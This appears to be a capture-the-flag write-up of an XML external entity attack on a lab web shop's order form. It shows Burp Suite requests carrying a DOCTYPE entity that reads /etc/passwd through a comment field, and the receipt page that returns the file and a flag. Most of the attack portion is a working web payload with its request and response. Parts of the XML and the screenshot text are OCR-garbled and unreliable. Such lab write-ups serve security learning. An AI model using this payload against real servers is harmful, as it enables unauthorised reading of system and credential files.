Description:

Find a way to read the flag from /etc/passwd file

Attacking

Lets make a dummy POST Request with Burp Proxy and send it over to repeter

```
Request
                                                                                    Response
                                                                    Ø 🗐 \n ≡
                                                                                                    Hex
 Pretty
         Raw
                                                                                     Pretty
                                                                                             Raw
                                                                                                           Render
1 POST /order.php HTTP/1.1
                                                                                    1 HTTP/1.1 200 OK
2 Host: web.ytax4jpxm7rw6afyr2km.labs.cyber-ed.space
                                                                                    2 Date: Tue, 13 Aug 2024 22:16:21 GMT
                                                                                    3 | Content-Type: text/html; charset=UTF-8
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101
   Firefox/115.0
                                                                                    4 | Content-Length: 1
4 | Accept: application/xml, text/xml, */*; q=0.01
                                                                                    5 Connection: keep-alive
                                                                                    6 X-Powered-By: PHP/7.4.33
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate, br
                                                                                    8 6
 7 Content-Type: application/xml
8 X-Requested-With: XMLHttpRequest
9 Content-Length: 254
10 Origin: http://web.ytax4jpxm7rw6afyr2km.labs.cyber-ed.space
11 DNT: 1
12 Connection: keep-alive
13 Referer: http://web.ytax4jpxm7rw6afyr2km.labs.cyber-ed.space/
14 Sec-GPC: 1
15
   <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]>
16
17
18
         aaa
       </name>
        <email>
         12122@xcscsc.com
        </email>
        <phone>
         1213424
        </phone>
         comment>
        &test:
```

with this simple payload:

```
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]>

(and insert &test; into some random field)

POST /order.php HTTP/1.1
Host: web.ytax4jpxm7rw6afyr2km.labs.cyber-ed.space
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101
Firefox/115.0
```

```
Accept: application/xml, text/xml, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/xml
X-Requested-With: XMLHttpRequest
Content-Length: 254
Origin: http://web.ytax4jpxm7rw6afyr2km.labs.cyber-ed.space
DNT: 1
Connection: keep-alive
Referer: http://web.ytax4jpxm7rw6afyr2km.labs.cyber-ed.space/
Sec-GPC: 1

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]>
<order><name>aaa</name><email>12122@xcscsc.com</email><pri>price>15</price></order><comment>&test;</comment>roductID>Pro
```

we can get the file from flag!

By then retrieving the orderID it generated (in my case it was orderID 6)

```
GET /receipt.php?orderID=6 HTTP/1.1
```

```
Request
                                                                                                                Response
                                                                                                                                     Pretty
                                                                                          Ø 🗐 /n ≡
                                                                                                                 Pretty
                                                                                                                                                                                                               In ≡
    GET /receipt.php?orderID=6 HTTP/1.1
   Host: web.ytax4jpxm7rw6afyr2km.labs.cyber-ed.space
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101
Firefox/115.0
                                                                                                                                         root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
                                                                                                               586
                                                                                                                                        bin:x:2:2:bin:/bin:/usr/sbin/nologin
4 Accept:
                                                                                                                                        sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin/sync
   text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                                                                                               588
                                                                                                                                        589
590
591
   Accept-Language: en-US,en;q=0.5
   Accept-Encoding: gzip, deflate, br
DNT: 1
   Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-GPC: 1
                                                                                                               593
594
                                                                                                               595
                                                                                                                                        proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
                                                                                                              596
597
                                                                                                                                        www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
                                                                                                               598
                                                                                                                                         list:x:38:38:Mailing List
                                                                                                                                        list:x:38:38:Mailing List
Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System
(admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
flag[51012268c4d202b580331898b0355df9]
                                                                                                               600
                                                                                                                                   Go to main page
```